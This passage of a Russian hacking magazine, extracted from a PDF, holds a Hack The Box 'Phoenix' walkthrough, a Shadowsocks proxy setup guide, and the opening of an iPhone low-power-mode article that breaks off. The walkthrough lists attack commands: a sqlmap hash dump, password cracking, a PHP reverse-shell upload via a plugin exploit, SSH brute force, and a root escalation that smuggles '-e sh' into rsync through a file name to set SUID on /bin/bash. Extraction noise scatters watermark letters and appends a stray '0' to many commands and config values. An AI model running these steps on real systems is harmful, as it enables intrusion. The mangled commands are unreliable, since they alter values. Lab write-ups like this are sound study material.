После­ того как нагрузка­ составле­ ­на, получим имена­ и хеши паролей поль ­ зователей­ . В WordPress все всегда­ стандар­ ­тно: таблица­ wp_users, столбцы­

user_login и user_pass.

Задаем­ sqlmap новые параметры­ : база (-D), таблица­ (-T), названия­ стол ­ бцов (-C) и команда­ --dump для получения­ данных­ .

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p

subscribe_topic --risk 3 -D wordpress -T wp_users --dump --batch

Получе­ ние­ данных­ с помощью sqlmap

У нас есть хеши — ломаем­ их! Но сначала­ узнаем­ режим hashcat, распарсив­ справку­ .

hashcat --example | grep -A2 -B2 '\$P\$'

Справка­ hashcat

Получен­ ­ный режим указыва­ ­ем в параметре­ -m. У меня ушло около­ часа для полного­ перебора­ , но получаем­ три пароля.

hashcat -m 400 -a 0 hashes.txt rockyou.txt0

Резуль­ тат­ перебора­ хешей с помощью hashcat

Никакие­ из полученных­ учетных­ данных­ не подходят­ к SSH, а WordPress вооб ­ ще использует­ двухфактор­ ную­ аутентифика­ цию­ .

Форма­ провер­ ки­ OTP при аутентифика­ ции­ в WordPress

Получение активных плагинов WordPress

Здесь я долго­ думал, что делать дальше­ , но в итоге­ вспомнил­ , что прос ­ мотреть все плагины­ нам помешал WAF. Зато теперь то мы можем узнать их названия­ , прочитав­ столбец­ option_value таблицы­ wp_options. Составим­ запрос­ так, чтобы­ в вывод попали только­ активные плагины­ .

sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p

subscribe_topic --risk 3 -D wordpress -T wp_options -C option_value

--where "option_name='active_plugins'" --dump --batch

Список­ активных плагинов­

В списке­ присутс­ тву­ ет­ уязвимый­ плагин­ Download from fles, для которого­ есть экспло­ ит­ , позволя­ ющий­ загружать­ на сервер­ файлы­ .

Описание­ уязвимос­ ти­ Download from fles

С помощью этого­ экспло­ ита­ мы загрузим­ на сервер­ популяр­ ный­ реверс шелл на PHP. В этой нагрузке­ нужно­ указать­ адрес и порт своего­ хоста­ для подклю­ ­ чения. Не забываем­ запустить­ листенер­ :

rlwrap -cAr nc -lvp 43210

Изменен­ ный­ код реверс шелла­

Но при эксплу­ ата­ ции­ уязвимос­ ти­ получим сообщение­ с ошибкой­ провер­ ­ки сертифика­ та­ .

python3 50287.py https://phoenix.htb shell.phtml0

Ошибка­ при выполнении­ экспло­ ита­

В каждый­ запрос­ в исходниках­ экспло­ ­ита добавим опцию verify=False, которая должна­ отключить­ провер­ ­ку SSL-сертифика­ ­та.

Изменение­ кода экспло­ ита­

Изменение­ кода экспло­ ита­

Теперь­ повторно­ выполняем­ экспло­ ит­ и получаем­ сообщение­ , что файл успешно загружен­ .

python3 50287.py https://phoenix.htb shell.phtml0

Сообще­ ние­ о загрузке­ файла­

Нам осталось­ обратить­ ся­ по указан­ ной­ ссылке­ , и мы получим бэкконнект­ на свой листенер­ .

curl -k https://phoenix.htb/wp-admin/shell.phtml0

Получе­ ние­ удален­ ной­ сессии­

Мы получили­ доступ­ к системе­ .

ПРОДВИЖЕНИЕ

Так как на хосте­ развернут­ веб сервер­ , а на нем работает­ целая CMS, первое­ наше действие­ — попробовать­ получить какие нибудь учетные­ данные­ поль ­ зователей­ . Высока вероятность­ , что эти учетки­ подойдут­ и для локальных­ пользовате­ лей­ тоже. В случае­ с WordPress есть место­ , где учетные­ данные­ найдут­ ся­ всегда­ , — файл с настрой­ ками­ для подклю­ чения­ к базе данных­ wpconfig.php. Найдем­ этот файл и просмотрим­ его содержимое­ .

find ./ -name wp-config.php 2>/dev/null0

Поиск­ файла­ wp-confg.php

Содер­ жимое­ файла­ wp-confg.php

Получа­ ем­ еще один пароль. Теперь узнаем­ активных пользовате­ лей­ из файла­ /etc/passwd и проверим­ , не подойдет­ ли для доступа­ по SSH какая нибудь комбинация­ из полученных­ нами логинов и паролей.

 

 

 

 

Содер­ жимое­

файла­ /etc/passwd

 

 

 

 

 

 

 

 

 

 

 

 

 

Нам нужен пользователь­

editor,

но авторизо­

вать­ ся­ от

его имени­

никак

не получалось­

. Это было очень подозритель­

но­ , поэтому­ я решил просмотреть­

возможные­

настрой­

ки­ авториза­

ции­ . Разгадка­

нашлась­

в файле­

 

/etc/

security/access-local.conf. Он содержит­ правила­

, определя­

ющие­

, каким

пользовате­

лям­ и с каких адресов­ разрешен­

вход.

 

 

 

 

 

 

 

Содер­ жимое­ файла­ access-local.conf

Стоит­ запрет­ авториза­ ции­ для всех адресов­ , кроме­ 10.11.12.13. А это наш второй­ адрес!

Резуль­ тат­ команды­ ipconfg

Нам нужно­ туннелиро­ вать­ трафик­ , чтобы­ подклю­ чить­ ся­ по SSH. Для тун ­ нелирования­ будем использовать­ chisel. Загружа­ ем­ один и тот же файл на локальный­ и удален­ ный­ хост. А затем активиру­ ем­ на локальном­ хосте­ сер ­ вер со следующи­ ми­ параметрами­ : порт (-p), опция ожидания­ подклю­ чения­ (- -reverse) и тип прокси­ .

./chisel.bin server -p 5432 --reverse --socks5

Логи­ сервера­ chisel

Подклю­ ­чаем­ся с удален­ ­ного хоста­ . Указыва­ ­ем адрес и порт сервера­ , а также­ правила­ ретран­ ­сля­ции трафика­ : с удален­ ­ного порта­ 2222 на порт 22 хос ­

та 10.11.12.13.

./chisel.bin client 10.10.14.60:5432 R:2222:10.11.12.13:220

 

 

 

Логи­ клиента­

chisel

 

 

 

 

 

 

 

 

В логах серверной­

части­ должна­

появиться­ информация­

о подклю­ чении­

и создании­

новой сессии­ .

 

 

 

 

Логи­ сервера­ chisel

Теперь­ весь трафик­ с порта­ 2222 нашего локального­ хоста­ будет ретран­ ­сли ­ рован на порт 22 хоста­ 10.11.12.13. Выполним­ подбор­ пароля с помощью

CrackMapExec.

crackmapexec ssh 127.0.0.1 --port 2222 -u editor -p passwords.txt0

Резуль­ тат­ брута­ паролей

И один из паролей подошел, поэтому­ мы можем авторизо­ ­вать­ся на хосте­ и получить стабиль­ ­ную сессию­ .

ssh -p2222 editor@127.0.0.10

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Осматри­ ­ваем­ся на хосте­ и находим исполняемый­ файл cron.sh.x.

Разрешения­ файла­

Запус­ ­тим файл под ltrace, чтобы­ посмотреть­ функции­ , которые он исполь ­ зует.

Трассиров­ ка­ файла­

Видим­ несколь­ ко­ вызовов функции­ exec. Это значит­ , что файл выполняет­ в консоли­ еще какие то команды­ . Чтобы­ узнать какие, используем­ pspy64.

Логи­ pspy64

В логах pspy видим запуск mysqldump, tar, gzip и других­ утилит­ . Среди­ них

есть и rsync, для которой сущес­ тву­ ет­ техника­

GTFOBins.

 

 

 

 

 

 

 

 

В команду­ rsync будут вставлены­

все файлы­ из каталога­ /backup, но, если

мы можем использовать­

«ненормаль­

ное­ »

 

имя

файла­

-e

test.test,

при вставке­ этой строки­ в команду­ rsync она будет воспри­ нимать­

ся­ не как имя

файла­ , а как параметр -e и его значение­

test.test, что приведет­

к выпол ­

нению файла­ test.test. Таким способом­

передадим­

для

выполнения­

скрипт, который назначит­

бит SUID на файл командной­

оболоч­ ки­ /bin/bash,

чтобы­ мы могли­ его запустить­

от имени­ пользовате­

ля­

root.

 

 

 

echo "chmod u+sx /bin/bash" > ralf.expl0

chmod +x ralf.expl0

touch -- "-e sh ralf.expl"

Когда­ у файла­ установ­ лен­ атрибут­ setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получает­ повышение­ прав до пользовате­ ля­ — вла ­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ системы­ игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

Где то спустя­ три минуты (период­ бэкапа понятен благода­ ря­ именам­ файлов­ ) проверя­ ем­ разрешения­ /bin/bash.

Разрешения­ файла­ /bin/bash

S-бит выставлен­ , поэтому­ запускаем­ новую оболоч­ ку­ в контек­ сте­ root.

Флаг рута

Флаг рута у нас в руках, и машина захвачена­ !

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

w Click

 

BUY

 

o m

ПРИВАТНОСТЬ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

c

 

 

.

 

 

 

 

 

.

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

c

 

 

 

c

 

 

.

 

 

 

 

.

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

 

СТРОИМ ЗАЩИЩЕННЫЙ КАНАЛ С ВНЕШНИМ МИРОМ

Nik Zerof xtahi0nix@gmail.com

В нашем полном­ опасностей­ , чрезвычай­ ­но жестоком­ мире нужно­ уметь защищать свою жизнь, имущес­ ­тво, трафик­ и драгоцен­ ­ные фоточки­ с котиками­ . В этой статье я расска­ ­ жу, как настро­ ­ить защищенный­ канал связи­ с внешним­

миром, который будет сложно­ отличить­ от обычного­ HTTPSтрафика­ и, следова­ ­тель­но, заблокиро­ ­вать или расшифро­ ­ вать. Колдунс­ ­тво­вать мы будем с помощью прокси­ Shadowsocks с плагином­ xray. Все ПО находится­ в актуаль­ ­ ном состоянии­ и постоян­ ­но обновляется­ .

 

Информа­

ция­

предос­ тавле­

на­

исключитель­

но­

 

для ознакоми­

тель­

ных­

и академи­

чес­ ких­

целей.

 

Автор просит­

соблюдать­

законодатель­

ство­

той

 

страны­ , на территории­

которой ты находишься­ !

 

Кто может интересо­ ­вать­ся твоими­ сетевыми­ соединени­ ­ями? Да кто угодно­ ! От хакерских­ группировок­ до злобных­ админов­ , которые любят шейпить­ раз ­ ные типы трафика­ (например­ , наши любимые торренты­ ). Да и просто­ иногда­ требует­ ­ся сменить­ IP (например­ , чтобы­ посмотреть­ зарубежную­ новинку­ в онлайн кинотеатре­ ).

Итак, перед настрой­ ­кой софта­ нам придет­ ­ся заняться­ необходимы­ ­ми под готовитель­ ­ными работами­ :

купить­ VPS;

купить­ доменное­ имя;

зарегис­ ­три­ровать­ся на Cloudfare и выполнить­ необходимую­ настрой­ ­ку.

Разберем­ по порядку­ .

VPS

Чтобы­ свести­ риски­ к минимуму­ , необходимо­ выбирать хостера­ VPS дос ­ таточно­ дотошно­ — обращай­ внимание­ на то, в каком государстве­ зарегис ­ трирова­ но­ юридичес­ кое­ лицо, в каких странах­ физически­ расположе­ ны­ сер ­ веры. Предпочте­ ние­ следует­ отдавать­ тем, где законодатель­ ство­ строго­ относит­ ся­ к личной­ информации­ (например­ , Швейцария­ или Исландия). Это касается­ как места­ регистра­ ции­ юридичес­ кого­ лица, так и физического­ нахождения­ серверов­ .

Кроме­ того, не следует­ забывать про «альянс­ 14 глаз» (Австра­ ­лия, Бель ­ гия, Великобритания­ , Германия­ , Дания, Испания­ , Италия­ , Канада, Нидер ­ ланды, Новая Зеландия­ , Норвегия­ , США, Франция­ , Швеция­ ) — это страны­ , которые свобод­ ­но обменива­ ­ются разведдан­ ­ными друг с другом­ (законо ­ дательство­ у них соответс­ ­тву­ющее). Если твои данные­ попали в руки одной страны­ из этого­ списка­ , можно­ считать­ , что остальные­ тоже их получили­ .

Кроме­ того, есть страны­ , которые так или иначе­ сотрудни­ чают­ с альянсом­ : Южная Корея, Япония­ , Израиль­ , Сингапур­ . Это на уровне­ слухов­ , но, как известно­ , дыма без огня не бывает­ . Можно­ много­ говорить о том, что кон ­ кретно­ ты им не нужен, что у них и без тебя забот полно­ , — тут каждый­ решает­ для себя, что ему важнее­ . Например­ , автор эти страны­ сразу­ вычеркнул­

из списка­ кандидатов­ . Итак, VPS купили, идем дальше­ .

ДОМЕННОЕ ИМЯ

Здесь нет никаких особых­ требова­ ­ний, хочу только­ отметить­ , что часто­ хос ­ тинги VPS заодно­ торгуют­ и доменными­ именами­ . На мой взгляд, более секь ­ юрно использовать­ возможнос­ ­ти того же хостинга­ VPS, чем обращать­ ­ся в другую­ компанию­ и там по второму­ кругу­ светить­ свои данные­ . В этой статье мы будем использовать­ некий абстрак­ ­тный домен secret-site.com. Идем дальше­ .

Почему­ не следует­ использовать­ ESNI/ECH? Все очень просто­ : если некоторые­ сетевые фильтры­ не могут определить­ сайт назначения­ , то они просто­ блокиру­ ют­ соединение­ .

CLOUDFLARE

Cloudfare в нашей цепочке­ играет­ роль защитного­ механизма­ : мы скрываем­ настоящий­ IP нашего VPS и защищаем­ его от некоторых­ видов атак. Трафик­ от нашего компа­ будет идти сначала­ в сеть Cloudfare и только­ из нее —

к нашему VPS. Кроме­ того, Cloudfare сгенери­ рует­ сертификат­ для TLS-соеди ­ нения, и весь трафик­ на всем пути следова­ ния­ будет завернут­ в TLS 1.3.

Для начала нам нужно­ пройти­ регистра­ ­цию и привязать­ к сервису­ куп ­ ленный домен. Далее на вкладке­ DNS нужно­ заполнить­ строки­ А (две штуки­ ), в которые мы вводим­ наш домен (в одну строку­ с приставкой­ www, в другую­ без нее) и IP нашего VPS.

Запол­ нение­ записей А

После­ этого­ необходимо­ ввести­ показанные­ нам серверы­ имен Cloudfare в панель управления­ нашего доменного­ регистра­ тора­ на вкладке­ DNS.

Серверы­ имен Cloudfare

Далее­ на вкладке­ SSL/TLS:

выбира­ ем­ шифрование­ Full (strict);

включаем­ Always Use HTTPS;

включаем­ TLS 1.3;

устанав­ лива­ ем­ Minimum TLS Version на 1.3;

включаем­ Opportunistic Encryption;

включаем­ Automatic HTTPS Rewrites.

Включаем­ шифрование­ соединения­ на полную­ !

Уф ф, немного­ укрепили­ TLS, можно­ двигать­ ­ся дальше­ . Теперь идем в Client Certifcates на той же вкладке­ и жмем кнопку­ Create Certifcate для генерации­ сертифика­ ­та и ключа­ (условим­ ­ся, что файлы­ будут называться­ secret-site.

pem и secret-site.key).

Теперь­ идем на VPS и приступа­ ем­ к настрой­ ке­ .

НАСТРОЙКА VPS

Итак, в некоторой­ степени­ утомитель­ ная­ подготови­ тель­ ная­ процеду­ ра­ окон ­ чена, давай теперь настра­ ивать­ сам VPS. Все настрой­ ки­ будут делаться­ на Debian 11 x64.

Сначала­ обновим­ пакеты и установим­ вспомога­ ­тель­ные утилиты­ :

apt update && apt upgrade -y

apt install -y dnsutils nethogs vnstat sendmail fail2ban nano wget

unzip htop psmisc nginx0

Теперь­ разберем­ ­ся с сертифика­ ­тами и ключами­ от Cloudfare — их мы положим на наш VPS в папку­ /etc/ssl/ и выдадим ей права­ только­ на чтение­ .

Далее­ надо сгенери­ ­ровать параметр Диффи­ — Хеллма­ ­на:

openssl dhparam -out /etc/ssl/dh-param.pem 40960

Положим­ его в ту же папку­ /etc/ssl/.

Теперь­ приступим­ к настрой­ ­кам Nginx в файле­ /etc/nginx/nginx.conf — в его стандар­ ­тную структуру­ достаточ­ ­но добавить наш сертификат­ , ключ, DH и некоторые­ служеб­ ­ные настрой­ ­ки:

server{0

listen 443 ssl http2 reuseport backlog=131072 fastopen=256;0

ssl_certificate /etc/ssl/secret-site.pem;0

ssl_certificate_key /etc/ssl/secret-site.key;0

ssl_dhparam /etc/ssl/dh-param.pem

ssl_protocols TLSv1.3;0

ssl_ecdh_curve secp384r1;0

add_header X-Robots-Tag "noindex, nofollow" always;0

add_header X-Content-Type-Options "nosniff" always;0

add_header X-Xss-Protection "1; mode=block" always;0

add_header Strict-Transport-Security 'max-age=63072000;

includeSubdomains; preload' always;0

resolver localhost valid=300s;0

ssl_buffer_size 8k;0

ssl_prefer_server_ciphers off;0

Далее­ добавим локации:

location / {0

limit_req zone=one burst=5 nodelay;0

index index.html index.htm;0

limit_rate 19k;0

set $limit_rate 19K;0

proxy_redirect off;0

}0

location /secretline {

proxy_redirect off;0

proxy_buffering off;0

proxy_http_version 1.1;0

proxy_pass http://localhost:8008/;0

proxy_set_header Host $http_host;0

proxy_set_header Upgrade $http_upgrade;0

proxy_set_header Early-Data $ssl_early_data;0

proxy_set_header Connection "upgrade";0

}0

В location / я вписал­ index.html — это просто­ сайт заглушка­ , который будет болтать­ ­ся на нашем серваке­ для того, чтобы­ противос­ ­тоять активному­ зондирова­ ­нию. Проще­ говоря, если какой то зонд будет сканиро­ ­вать сервер­

в поисках­ Shadowsocks или чего то еще, он просто­ увидит­ нашу заглушку­ . Тогда­ он подумает­ , что это обычный­ сайт, оставит­ нас в покое и уйдет пить пиво.

Локация­ location /secretline — это и есть наш Shadowsocks. Вместо­ строки­ secretline нужно­ придумать­ что то более оригиналь­ ное­ и труд ­ ноподбира­ емое­ , эта строка­ будет передавать­ ся­ в качестве­ параметра­ на кли ­ енте к плагину­ xray.

Далее­ скачива­ ­ем и устанав­ ­лива­ем Shadowsocks и xray-plugin:

wget https://github.com/shadowsocks/shadowsocks-rust/releases/

download/v1.14.3/shadowsocks-v1.14.3.x86_64 unknown-linux-gnu.tar.xz

&&

tar -xf shadowsocks-v1.14.3.x86_64-unknown-linux-gnu.tar.xz0

wget https://github.com/teddysun/xray-plugin/releases/download/v1.5.

4/xray-plugin-linux-amd64-v1.5.5.tar.gz &&

tar -xf xray-plugin-linux-amd64-v1.5.5.tar.gz0

Создаем­ папку­ shadowsocks и копируем­ в нее нужные­ файлы­ :

mv ssserver /bin0

mv xray-plugin /etc/shadowsocks/xray-plugin0

Настра­ иваем­ разрешения­ :

setcap 'cap_net_bind_service=+eip' /etc/shadowsocks/xray-plugin0

setcap 'cap_net_bind_service=+eip' /bin/ssserver0

Теперь­ создадим­ файл конфигура­ ции­ сервера­ Shadowsocks:

touch /etc/shadowsocks/shadowsocks-rust.json0

nano /etc/shadowsocks/shadowsocks-rust.json0

И запишем туда такой текст:

{

"server":["127.0.0.1"],

"server_port":8008,

"password":"Password123",

"timeout":300,

"method":"chacha20-ietf-poly1305",

"fast_open":true,

"reuse_port":true,

"plugin":"/etc/shadowsocks/xray-plugin",

"plugin_opts":"server;loglevel=none",

"nameserver":"1.1.1.1",

"mode": "tcp_and_udp",

"no_delay": true,

"workers":1

}

Давай­ пройдем­ ся­ по основным пунктам­ :

"server_port" — порт, на котором будет висеть сервер­ shadowsocks;

"workers" — количество­ ядер на сервере­ ;

"ipv6_first" — поддер­ ­жка протоко­ ­ла IPv6;

"nameserver" — IP DNS-сервера­ , если есть локальный­ , то 127.0.0.1;

"plugin" и "plugin_opts" используют­ ­ся для плагина­ xray;

"reuse_port" — оптимиза­ ­ция для более быстро­ ­го использования­ сети;

"method" — используемое­ шифрование­ ;

"password" — пароль для подклю­ ­чения к серверу­ .

Теперь­ создадим­ сервис­ ss-xray.service:

nano /etc/systemd/system/ss-xray.service0

Записы­ ваем­ туда следующий­ текст:

[Unit]

Description=Shadowsocks with XRAY

After=network.target

[Service]

Type=simple

User=nobody

Group=nogroup

LimitNOFILE=51200

ExecStart=/bin/ssserver -c /etc/shadowsocks/shadowsocks-rust.json

ExecStop=/bin/killall ssserver

Restart=always

RestartSec=10

[Install]

WantedBy=multi-user.target

Сохраня­ емся­ и выходим: Ctrl + O, Ctrl + X. Включаем­ сервис­ :

sysctl -p && systemctl enable ss-xray.service0

С основной настрой­ ­кой мы закончили­ , теперь можно­ немного­ оптимизи­ ­ ровать сетевой стек. В файл /etc/sysctl.conf дописываем­ следующее­ :

fs.file-max = 131072

net.core.rmem_max = 8388608

net.core.wmem_max = 8388608

net.core.rmem_default = 8388608

net.core.wmem_default = 8388608

net.core.optmem_max = 8388608

net.core.netdev_max_backlog = 131072

net.core.somaxconn = 131072

net.ipv4.ip_local_port_range = 1024 65535

net.ipv4.tcp_mem = 25600 51200 102400

net.ipv4.tcp_rmem = 4096 1048576 4194304

net.ipv4.tcp_wmem = 4096 1048576 4194304

net.ipv4.tcp_fastopen=3

net.ipv4.tcp_low_latency = 1

net.ipv4.tcp_no_metrics_save = 1

net.ipv4.tcp_adv_win_scale = 1

net.ipv4.tcp_tw_reuse = 1

net.ipv4.tcp_timestamps = 0

net.ipv4.tcp_fin_timeout = 30

net.ipv4.tcp_window_scaling = 1

net.ipv4.tcp_keepalive_time = 150

net.ipv4.tcp_keepalive_probes = 5

net.ipv4.tcp_keepalive_intvl = 30

net.ipv4.tcp_synack_retries = 1

net.ipv4.tcp_slow_start_after_idle=0

net.ipv4.tcp_max_syn_backlog = 65536

net.ipv4.tcp_max_tw_buckets = 720000

net.ipv4.tcp_mtu_probing = 1

Опять сохраня­ ­емся и перезагружа­ ­ем сервер­ . Теперь все должно­ работать. Что в итоге­ у нас получилось­ ? Запрос­ от нашего компа­ уходит­ в CDN

Cloudfare, а возвра­ ­щает­ся от нашего VPS. Для внешнего­ наблюдате­ ­ля соз ­ дается­ впечат­ ­ление, будто­ комп общается­ по TLS с каким то сайтом­ , но что передает­ — узнать не получится­ , ибо шифрование­ . Другими­ словами­ , наб ­ людается­ обычная­ сетевая активность, чего мы и хотели добиться­ .

В качестве­ клиентов­ к серваку­ можно­ смело­ юзать:

SagerNet для Android;

Shadowsocks-windows для винды­ ;

ShadowsocksX-NG для macOS.

Как еще можно­ укрепить­ наш VPS? Например­ , так:

сменить­ порт SSH для того, чтобы­ автомати­ ­чес­кие сканеры­ не ломились на стандар­ ­тный порт;

настро­ ­ить Fail2ban, чтобы­ ограничить­ количество­ попыток ввести­ неп ­ равильный­ пароль для входа­ на сервер­ ;

вместо­ прямого­ обращения­ к DNS-серверу­ можно­ настро­ ­ить локальный­ сервер­ , который связыва­ ­ется с внешним­ миром при помощи DoH или DoT, чтобы­ даже хостер­ VPS не знал, какие DNS-запросы­ ты шлешь;

настро­ ­ить учет трафика­ , чтобы­ не получить внезап­ ­ный счет от хостера­ (если трафик­ у него лимитирован­ ).

Одним­ словом­ , включай­ фантазию­ и обустра­ ивай­ свой неприступ­ ный­ VPS!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ВЫКЛЮЧЕННЫЙ IPHONE МОЖЕТ ШПИОНИТЬ ЗА СВОИМ ВЛАДЕЛЬЦЕМ

Когда­ iPhone отключен­ , большинс­ тво­ его беспро­ вод­ ных­ чипов продол­ жают­ функционировать. На новейших­ моделях iPhone при отсутствии­ питания работают­ Bluetooth, коммуника­ ция­ NFC и беспро­ вод­ ­ ная связь на базе технологии­ UWB. Этой особен­ ностью­ трубок­ Apple может восполь­ ­ зоваться­ не только­ владелец­ телефона­ , но и злоумыш­ ленни­ ки­ . Как? Давай раз ­ бираться­ .

Олег Сивченко adrelian@gmail.com

Специалис­

ты­ из герман­ ской­

лаборатории­

Secure Mobile Networking Lab опуб ­

ликовали­

 

 

большое­

исследова­

ние­

с громким­

заголовком­ ,

гласящим­

, что

в iPhone могут завестись­

вредоно­

сы­ , которые остаются­

активными­ даже пос ­

ле выключения­

питания девайса­ . Однако­ если вдумчиво­

прочитать­

все один ­

надцать

страниц­

 

доклада­

, выяснится­

, что такие вредоно­

сы­ существу­ ют­

исключитель­

но­ в воспален­

ном­

 

воображении­

этих самых герман­ ских­

иссле ­

дователей­

. На самом деле речь идет о том, что в мобильных­

 

устройствах­

под управлением­

iOS имеется­

несколь­

ко­ чипов, продол­ жающих­

работать,

даже когда­ питание телефона­ отсутству­ ет­ . Так, при выключении­

iPhone поль ­

зователь все равно­ можно­ найти­ его с помощью функции­

Find My Phone. Если

батарея разрядит­

ся­ , то iPhone выключит­

ся­ автомати­

чес­ ки­ и перейдет­ в энер ­

госберега­

ющий­

режим, но в таком случае­

все равно­ сохраня­

ется­

 

доступ­

к кредит­ ным­

картам­ и другим­ объектам­

из приложе­

ния­ Wallet. Эти возможнос­

­

ти могут превратить­

выключен­

ный­

телефон в устройство­

 

для слежки­ за поль ­

зователем­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Беспро­ вод­ ные­

чипы в iPhone могут работать в так называемом­

режиме

низкого­

энергопот­

ребле­

ния­

(Low Power Mode, LPM). Обрати­ внимание­

: LPM

не тождес­ ­тве­нен энергосбе­ ­рега­юще­му режиму, который обознача­ ­ется икон ­ кой «желтая­ батарея». В режиме LPM устройство­ не реагирует­ на нажатия или встряхива­ ­ние. Этот режим активиру­ ­ется либо когда­ пользователь­ вык лючает­ телефон, либо когда­ iOS завершает­ работу автомати­ ­чес­ки из за низ ­ кого заряда батареи. Если нажать кнопку­ включения­ в эконом­ ­ном режиме с низким­ энергопот­ ­ребле­нием, то экран активиру­ ­ется всего­ на несколь­ ­ко секунд. Устройство­ сообщит­ о низком­ заряде аккумуля­ ­тора и выведет список­ активных в данный­ момент возможнос­ ­тей LPM, как показано­ на следующем­ рисунке­ .

Find My и Express Cards в энергосбе­ рега­ ющем­ режиме

Сеть Find My Phone остается­ доступна­ после­ выключения­ устройства­ . Если ты потеряешь­ iPhone, когда­ он разряжен­ , как раз с помощью этой сети его и можно­ найти­ — она работает­ на основе­ Bluetooth. Режим Express Mode под ­ держивает­ выбранные­ проездные­ билеты, а также­ кредит­ ­ные карты­ и циф ­ ровые ключи­ из «Кошелька­ » — так устройство­ удается­ задейство­ ­вать быс ­ трее, дополнитель­ ­ная аутентифика­ ­ция со стороны­ пользовате­ ­ля не требует­ ­ ся. При отключении­ из за низкого­ заряда батареи эти карты­ и ключи­ остаются­ доступны­ для использования­ на протяже­ ­нии пяти часов. Исходно для под ­ держания­ устройства­ во включен­ ­ном виде со всеми­ этими­ возможнос­ ­тями требова­ ­лась только­ NFC. Теперь же появился­ новый протокол­ DCK 3.0, использующий­ режимы Bluetooth и UWB, а также­ поддержи­ ­вающий режим Express Mode. Этот протокол­ использует­ ­ся в конструк­ ­ции электрон­ ­ных авто ­ мобильных­ ключей­ , а режим Express Mode предох­ ­раня­ет от неприят­ ­ностей из разряда­ «захлопнул­ ключи­ в машине или в квартире­ ». Еще он оставляет­ в распоряже­ ­нии пользовате­ ­ля его карты­ , чтобы­ можно­ было выполнять­ пла ­ тежи, даже если телефон сел.

КАК ЭТО РАБОТАЕТ?

Поддер­ жка­ LPM реализова­ на­ на аппарат­ ном­ уровне­ . Модуль управления­ питанием­ PMU может включать­ чипы поодиноч­ ке­ . Чипы для Bluetooth и UWB жестко­ подклю­ чены­ к защищенному­ элемен­ ту­ (SE) чипа NFC и хранят­ сек ­ реты, которые должны­ быть доступны­ в режиме LPM. Посколь­ ку­ LPM под ­ держивает­ ся­ на аппарат­ ном­ уровне­ , эту поддер­ жку­ нельзя­ убрать, меняя програм­ мные­ компонен­ ты­ . Именно­ поэтому­ владелец­ современ­ ного­ айфона­

уже не может быть уверен­ ным­ , что чипы для беспро­ вод­ ной­

связи­ отключат­ ся­

после­ выключения­

устройства­

.

 

 

 

 

 

 

 

 

 

 

LPM значитель­

но­

коварнее­ ,

чем имитация­

выключения­

девайса­ ,

при которой просто­ деактивиру­

ется­

экран. Вспомина­

ется­

случай­ , когда­

Агентство националь­

ной­

безопасности­

США имитиро­

вало­

выключение­

экра ­

на на умном телевизоре­

в целях шпиона­ жа­ . На айфоне­ при этом будет

заметен быстрый­

расход­ батареи, и такая «подсадка­

» в мобильное­

устрой ­

ство не останет­ ся­ незамечен­ ной­ .

 

 

 

 

 

 

 

 

 

 

Возможнос­

ти­ Bluetooth и UWB в режиме LPM не документирова­

ны­

и до

недавнего­

времени­

не исследова­

лись­

. Но в руководстве­ по безопасности­

для платформы­

Apple подробно­

описана­

 

относяща­

яся­

 

